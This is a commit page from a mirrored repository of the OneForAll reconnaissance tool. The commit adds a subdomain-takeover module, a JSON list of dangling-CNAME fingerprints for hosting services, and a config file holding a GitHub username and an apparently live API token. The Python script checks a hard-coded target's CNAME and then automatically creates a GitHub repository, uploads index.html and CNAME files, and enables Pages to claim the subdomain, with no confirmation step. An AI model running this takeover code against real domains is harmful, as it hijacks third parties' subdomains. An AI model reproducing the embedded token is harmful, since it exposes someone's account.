mirror of
https://github.com/shmilylty/OneForAll.git
synced 2026-08-26 04:47:48 +08:00
subdomain takeover
This commit is contained in:
echocipher
@@ -166,6 +166,10 @@ dnsdb_api_key = ''
|
||||
# 免费的API有效期只有2天，到期之后可以再次生成，每天可以查询50次。
|
||||
ipv4info_api_key = ''
|
||||
|
||||
# Github Token可以访问https://github.com/settings/tokens生成,user为Github用户名
|
||||
github_api_user = 'Echocipher'
|
||||
github_api_token = 'a54bd7869fd48570b6be605f18ae4ed06bd2f317'
|
||||
|
||||
subdomains_common = {'i', 'w', 'm', 'en', 'us', 'zh', 'w3', 'app', 'bbs',
|
||||
'web', 'www', 'job', 'docs', 'news', 'blog', 'data',
|
||||
'help', 'live', 'mall', 'blogs', 'files', 'forum',
|
||||
|
||||
@@ -0,0 +1,249 @@
|
||||
[
|
||||
{
|
||||
"name":"github",
|
||||
"cname":["github.io", "github.map.fastly.net"],
|
||||
"response":["There isn't a GitHub Pages site here.", "For root URLs (like http://example.com/) you must provide an index.html file"]
|
||||
},
|
||||
{
|
||||
"name":"heroku",
|
||||
"cname":["herokudns.com", "herokussl.com", "herokuapp.com"],
|
||||
"response":["There's nothing here, yet.", "herokucdn.com/error-pages/no-such-app.html", "<title>No such app</title>"]
|
||||
},
|
||||
{
|
||||
"name":"unbounce",
|
||||
"cname":["unbouncepages.com"],
|
||||
"response":["Sorry, the page you were looking for doesn’t exist.", "The requested URL was not found on this server"]
|
||||
},
|
||||
{
|
||||
"name":"tumblr",
|
||||
"cname":["tumblr.com"],
|
||||
"response":["There's nothing here.", "Whatever you were looking for doesn't currently exist at this address."]
|
||||
},
|
||||
{
|
||||
"name":"shopify",
|
||||
"cname":["myshopify.com"],
|
||||
"response":["Sorry, this shop is currently unavailable.", "Only one step left!"]
|
||||
},
|
||||
{
|
||||
"name":"instapage",
|
||||
"cname":["pageserve.co", "secure.pageserve.co", "https://instapage.com/"],
|
||||
"response":["Looks Like You're Lost","The page you're looking for is no longer available."]
|
||||
},
|
||||
{
|
||||
"name":"desk",
|
||||
"cname":["desk.com"],
|
||||
"response":["Please try again or try Desk.com free for 14 days.", "Sorry, We Couldn't Find That Page"]
|
||||
},
|
||||
{
|
||||
"name":"campaignmonitor",
|
||||
"cname":["createsend.com", "name.createsend.com"],
|
||||
"response":["Double check the URL", "<strong>Trying to access your account?</strong>"]
|
||||
},
|
||||
{
|
||||
"name":"cargocollective",
|
||||
"cname":["cargocollective.com"],
|
||||
"response":["404 Not Found"]
|
||||
},
|
||||
{
|
||||
"name":"statuspage",
|
||||
"cname":["statuspage.io"],
|
||||
"response":["Better Status Communication", "You are being <a href=\"https://www.statuspage.io\">redirected"]
|
||||
},
|
||||
{
|
||||
"name":"amazonaws",
|
||||
"cname":["amazonaws.com"],
|
||||
"response":["NoSuchBucket", "The specified bucket does not exist"]
|
||||
},
|
||||
{
|
||||
"name":"bitbucket",
|
||||
"cname":["bitbucket.org"],
|
||||
"response":["The page you have requested does not exist","Repository not found"]
|
||||
},
|
||||
{
|
||||
"name":"smartling",
|
||||
"cname":["smartling.com"],
|
||||
"response":["Domain is not configured"]
|
||||
},
|
||||
{
|
||||
"name":"acquia",
|
||||
"cname":["acquia.com"],
|
||||
"response":["If you are an Acquia Cloud customer and expect to see your site at this address","The site you are looking for could not be found."]
|
||||
},
|
||||
{
|
||||
"name":"fastly",
|
||||
"cname":["fastly.net"],
|
||||
"response":["Please check that this domain has been added to a service", "Fastly error: unknown domain"]
|
||||
},
|
||||
{
|
||||
"name":"pantheon",
|
||||
"cname":["pantheonsite.io"],
|
||||
"response":["The gods are wise", "The gods are wise, but do not know of the site which you seek."]
|
||||
},
|
||||
{
|
||||
"name":"zendesk",
|
||||
"cname":["zendesk.com"],
|
||||
"response":["Help Center Closed"]
|
||||
},
|
||||
{
|
||||
"name":"uservoice",
|
||||
"cname":["uservoice.com"],
|
||||
"response":["This UserVoice subdomain is currently available!"]
|
||||
},
|
||||
{
|
||||
"name":"ghost",
|
||||
"cname":["ghost.io"],
|
||||
"response":["The thing you were looking for is no longer here", "The thing you were looking for is no longer here, or never was"]
|
||||
},
|
||||
{
|
||||
"name":"pingdom",
|
||||
"cname":["stats.pingdom.com"],
|
||||
"response":["pingdom"]
|
||||
},
|
||||
{
|
||||
"name":"tilda",
|
||||
"cname":["tilda.ws"],
|
||||
"response":["Domain has been assigned"]
|
||||
},
|
||||
{
|
||||
"name":"wordpress",
|
||||
"cname":["wordpress.com"],
|
||||
"response":["Do you want to register"]
|
||||
},
|
||||
{
|
||||
"name":"teamwork",
|
||||
"cname":["teamwork.com"],
|
||||
"response":["Oops - We didn't find your site."]
|
||||
},
|
||||
{
|
||||
"name":"helpjuice",
|
||||
"cname":["helpjuice.com"],
|
||||
"response":["We could not find what you're looking for."]
|
||||
},
|
||||
{
|
||||
"name":"helpscout",
|
||||
"cname":["helpscoutdocs.com"],
|
||||
"response":["No settings were found for this company:"]
|
||||
},
|
||||
{
|
||||
"name":"cargo",
|
||||
"cname":["cargocollective.com"],
|
||||
"response":["If you're moving your domain away from Cargo you must make this configuration through your registrar's DNS control panel."]
|
||||
},
|
||||
{
|
||||
"name":"feedpress",
|
||||
"cname":["redirect.feedpress.me"],
|
||||
"response":["The feed has not been found."]
|
||||
},
|
||||
{
|
||||
"name":"surge",
|
||||
"cname":["surge.sh"],
|
||||
"response":["project not found"]
|
||||
},
|
||||
{
|
||||
"name":"surveygizmo",
|
||||
"cname":["privatedomain.sgizmo.com", "privatedomain.surveygizmo.eu", "privatedomain.sgizmoca.com"],
|
||||
"response":["data-html-name"]
|
||||
},
|
||||
{
|
||||
"name":"mashery",
|
||||
"cname":["mashery.com"],
|
||||
"response":["Unrecognized domain <strong>"]
|
||||
},
|
||||
{
|
||||
"name":"intercom",
|
||||
"cname":["custom.intercom.help"],
|
||||
"response":["This page is reserved for artistic dogs.","<h1 class=\"headline\">Uh oh. That page doesn’t exist.</h1>"]
|
||||
},
|
||||
{
|
||||
"name":"webflow",
|
||||
"cname":["proxy.webflow.io"],
|
||||
"response":["<p class=\"description\">The page you are looking for doesn't exist or has been moved.</p>"]
|
||||
},
|
||||
{
|
||||
"name":"kajabi",
|
||||
"cname":["endpoint.mykajabi.com"],
|
||||
"response":["<h1>The page you were looking for doesn't exist.</h1>"]
|
||||
},
|
||||
{
|
||||
"name":"thinkific",
|
||||
"cname":["thinkific.com"],
|
||||
"response":["You may have mistyped the address or the page may have moved."]
|
||||
},
|
||||
{
|
||||
"name":"tave",
|
||||
"cname":["clientaccess.tave.com"],
|
||||
"response":["<h1>Error 404: Page Not Found</h1>"]
|
||||
},
|
||||
{
|
||||
"name":"wishpond",
|
||||
"cname":["wishpond.com"],
|
||||
"response":["https://www.wishpond.com/404?campaign=true"]
|
||||
},
|
||||
{
|
||||
"name":"aftership",
|
||||
"cname":["aftership.com"],
|
||||
"response":["Oops.</h2><p class=\"text-muted text-tight\">The page you're looking for doesn't exist."]
|
||||
},
|
||||
{
|
||||
"name":"aha",
|
||||
"cname":["ideas.aha.io"],
|
||||
"response":["There is no portal here ... sending you back to Aha!"]
|
||||
},
|
||||
{
|
||||
"name":"brightcove",
|
||||
"cname":["brightcovegallery.com", "gallery.video", "bcvp0rtal.com"],
|
||||
"response":["<p class=\"bc-gallery-error-code\">Error Code: 404</p>"]
|
||||
},
|
||||
{
|
||||
"name":"bigcartel",
|
||||
"cname":["bigcartel.com"],
|
||||
"response":["<h1>Oops! We couldn’t find that page.</h1>"]
|
||||
},
|
||||
{
|
||||
"name":"activecompaign",
|
||||
"cname":["activehosted.com"],
|
||||
"response":["alt=\"LIGHTTPD - fly light.\""]
|
||||
},
|
||||
{
|
||||
"name":"compaignmonitor",
|
||||
"cname":["createsend.com"],
|
||||
"response":["Double check the URL or <a href=\"mailto:help@createsend.com"]
|
||||
},
|
||||
{
|
||||
"name":"simplebooklet",
|
||||
"cname":["simplebooklet.com"],
|
||||
"response":["We can't find this <a href=\"https://simplebooklet.com"]
|
||||
},
|
||||
{
|
||||
"name":"getresponse",
|
||||
"cname":[".gr8.com"],
|
||||
"response":["With GetResponse Landing Pages, lead generation has never been easier"]
|
||||
},
|
||||
{
|
||||
"name":"vend",
|
||||
"cname":["vendecommerce.com"],
|
||||
"response":["Looks like you've traveled too far into cyberspace."]
|
||||
},
|
||||
{
|
||||
"name":"jetbrains",
|
||||
"cname":["myjetbrains.com"],
|
||||
"response":["is not a registered InCloud YouTrack.","is not a registered InCloud YouTrack."]
|
||||
},
|
||||
{
|
||||
"name":"azure",
|
||||
"cname":["azurewebsites.net",
|
||||
".cloudapp.net",
|
||||
".cloudapp.azure.com",
|
||||
".trafficmanager.net",
|
||||
".blob.core.windows.net",
|
||||
".azure-api.net",
|
||||
".azurehdinsight.net",
|
||||
".azureedge.net"],
|
||||
"response":["404 Web Site not found"]
|
||||
},
|
||||
{
|
||||
"name":"readme",
|
||||
"cname":["readme.io"],
|
||||
"response":["Project doesnt exist... yet!"]
|
||||
}
|
||||
]
|
||||
@@ -0,0 +1,167 @@
|
||||
# encoding: utf-8
|
||||
|
||||
import requests
|
||||
import dns.resolver
|
||||
import sys,getopt,os,base64,json
|
||||
import yaml
|
||||
import config
|
||||
|
||||
HEADERS = {
|
||||
"Accept":"application/json, text/javascript, */*; q=0.01",
|
||||
"Accept-Language":"zh-CN,zh;q=0.9",
|
||||
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36",
|
||||
}
|
||||
|
||||
# github自动接管
|
||||
def github_takeover(url):
|
||||
# 读取config配置文件
|
||||
repo_name = url
|
||||
print('[*]正在读取配置文件...')
|
||||
user = config.github_api_user
|
||||
token = config.github_api_token
|
||||
CHECK_HEADERS = {
|
||||
"Authorization": 'token '+ token,
|
||||
"Accept": "application/vnd.github.switcheroo-preview+json"
|
||||
}
|
||||
repos_url = 'https://api.github.com/repos/'+ user +'/' + repo_name
|
||||
repos_r = requests.get(url=repos_url,headers=CHECK_HEADERS)
|
||||
# 验证token是否正确
|
||||
if 'message' in repos_r.json():
|
||||
if repos_r.json()['message'] == 'Bad credentials':
|
||||
print('[*]请检查Token是否正确')
|
||||
elif repos_r.json()['message'] == 'Not Found':
|
||||
print('[*]正在生成接管库...') # 生成接管库
|
||||
creat_repo_dict = {
|
||||
"name": repo_name,
|
||||
"description": "This is a subdomain takeover Repository",
|
||||
}
|
||||
creat_repo_url = 'https://api.github.com/user/repos'
|
||||
creat_repo_r = requests.post(url=creat_repo_url,headers=CHECK_HEADERS,data=json.dumps(creat_repo_dict))
|
||||
creat_repo_status = creat_repo_r.status_code
|
||||
if creat_repo_status == 201:
|
||||
print('[*]创建接管库' + repo_name + '成功，正在进行自动接管...' )
|
||||
# 接管文件生成
|
||||
# index.html文件
|
||||
html = b'''
|
||||
<html>
|
||||
<p>Subdomain Takerover Test!</>
|
||||
</html>
|
||||
'''
|
||||
html64 = base64.b64encode(html).decode('utf-8')
|
||||
html_dict = {
|
||||
"message": "my commit message",
|
||||
"committer": {
|
||||
"name": "user", #提交id，非必改项
|
||||
"email": "user@163.com" #同上
|
||||
},
|
||||
"content": html64
|
||||
}
|
||||
# CNAME文件
|
||||
cname_url = bytes(url,encoding='utf-8')
|
||||
cname_url64 = base64.b64encode(cname_url).decode('utf-8')
|
||||
url_dict = {
|
||||
"message": "my commit message",
|
||||
"committer": {
|
||||
"name": "user",
|
||||
"email": "user@163.com"
|
||||
},
|
||||
"content": cname_url64
|
||||
}
|
||||
html_url = 'https://api.github.com/repos/' + user + '/' + repo_name + '/contents/index.html'
|
||||
url_url = 'https://api.github.com/repos/' + user + '/' + repo_name + '/contents/CNAME'
|
||||
html_r = requests.put(url=html_url,data=json.dumps(html_dict), headers=CHECK_HEADERS) #上传index.html
|
||||
cname_r = requests.put(url=url_url,data=json.dumps(url_dict), headers=CHECK_HEADERS) # 上传CNAME
|
||||
rs=cname_r.status_code
|
||||
if rs==201:
|
||||
print('[*]生成接管库成功，正在开启Github pages...')
|
||||
page_url = "https://api.github.com/repos/"+ user +"/"+url+"/pages"
|
||||
page_dict={
|
||||
"source": {
|
||||
"branch": "master"
|
||||
}
|
||||
}
|
||||
page_r = requests.post(url=page_url,data=json.dumps(page_dict), headers=CHECK_HEADERS) # 开启page
|
||||
if page_r.status_code == 201:
|
||||
print('[+]自动接管成功，请稍后访问http://'+str(url)+'查看结果')
|
||||
else:
|
||||
print('[+]开启Github pages失败，请检查网络或稍后重试...')
|
||||
else:
|
||||
print('[+]生成接管库失败，请检查网络或稍后重试...')
|
||||
elif url in repos_r.json()['name']:
|
||||
print('[*]生成接管库失败，请检查https://github.com/'+user+
|
||||
'?tab=repositories是否存在同名接管库...')
|
||||
|
||||
# 发起请求
|
||||
def url_get(url):
|
||||
r = requests.get(url,HEADERS,timeout=5)
|
||||
status_code = r.status_code
|
||||
response_text = r.content.decode('utf-8')
|
||||
return status_code,response_text
|
||||
|
||||
# 指纹读取 存储到json_dicts中
|
||||
def providers_read():
|
||||
try:
|
||||
with open('./data/providers.json','r') as f:
|
||||
str_json = f.read()
|
||||
json_dicts = json.loads(str_json)
|
||||
return json_dicts
|
||||
except:
|
||||
print('[*] Wrong! 请检查是否存在providers.json文件')
|
||||
|
||||
# 获取cname记录
|
||||
def cname_get(url):
|
||||
print('[*]正在获取'+ url + '的CNAME记录')
|
||||
try:
|
||||
cn = dns.resolver.query(url,'CNAME')
|
||||
for rrset in cn.response.answer:
|
||||
for cname in rrset.items:
|
||||
return (cname.to_text())
|
||||
except: #不存在cname解析，pass
|
||||
print('[*]' + url + '未找到CNAME记录')
|
||||
|
||||
|
||||
# 检查是否存在子域接管漏洞
|
||||
def takeover_check(url,cname,fingercname_lists):
|
||||
check_cname = 'http://' + cname
|
||||
check_url = 'http://' + url
|
||||
cnameresponse_text = url_get(check_cname)[1] # 解析cname返回文本
|
||||
url_response_text = url_get(check_url)[1] # 解析url返回文本
|
||||
# 与指纹对比查看cname对比判断是否存在接管风险，与url对比判断是否已被接管
|
||||
for fingerprint in fingercname_lists:
|
||||
if fingerprint in cnameresponse_text:
|
||||
print('[*]'+ url + '存在子域接管风险')
|
||||
print('[*]正在检测当前是否已经被接管...')
|
||||
if fingerprint in url_response_text:
|
||||
print('[+]当前未被接管，url：' + url + ',CNMAE：' + cname)
|
||||
else:
|
||||
print('[*]当前可能已被接管，url：' + url + ',CNMAE：' + cname)
|
||||
else:
|
||||
pass
|
||||
|
||||
# 自动接管模块
|
||||
def auto_take(url):
|
||||
github_takeover(url) # Github自动接管
|
||||
|
||||
# 主函数
|
||||
def main(url):
|
||||
cname = cname_get(url)
|
||||
if cname_get(url) != None:
|
||||
print('[*]CNAME获取成功，正在验证是否存在于敏感列表中...')
|
||||
json_dicts = providers_read() # 接收指纹信息
|
||||
for json_dict in json_dicts:
|
||||
fingerprint_lists = json_dict['response'] # 存储指纹信息
|
||||
fingercname_lists = json_dict['cname'] # 存储cname信息
|
||||
for fingercname in fingercname_lists:
|
||||
# 查看cname解析值是否在指纹列表中
|
||||
if fingercname in cname:
|
||||
print('[*]存在于指纹列表中，正在检测子域接管风险...')
|
||||
takeover_check(url,cname,fingerprint_lists) # 检查是否有风险以及是否已经被接管
|
||||
auto_take(url) # 自动接管
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
print('[*]' + url + '不存在被接管风险')
|
||||
|
||||
if __name__ == '__main__':
|
||||
url = 'test.djmag.club' #传入目标
|
||||
main(url)
|
||||
Reference in New Issue
Block a user